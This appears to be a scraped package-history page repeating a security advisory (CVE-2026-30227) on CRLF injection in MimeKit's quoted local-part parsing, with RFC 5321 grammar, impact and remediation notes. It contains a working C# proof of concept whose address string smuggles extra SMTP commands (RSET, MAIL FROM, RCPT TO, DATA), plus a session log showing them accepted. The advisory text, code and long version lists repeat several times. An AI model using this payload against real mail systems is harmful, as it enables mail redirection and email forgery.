    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

May 30, 2020

2.7.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

May 19, 2020

2.6.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Apr 04, 2020

2.5.2 patch

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
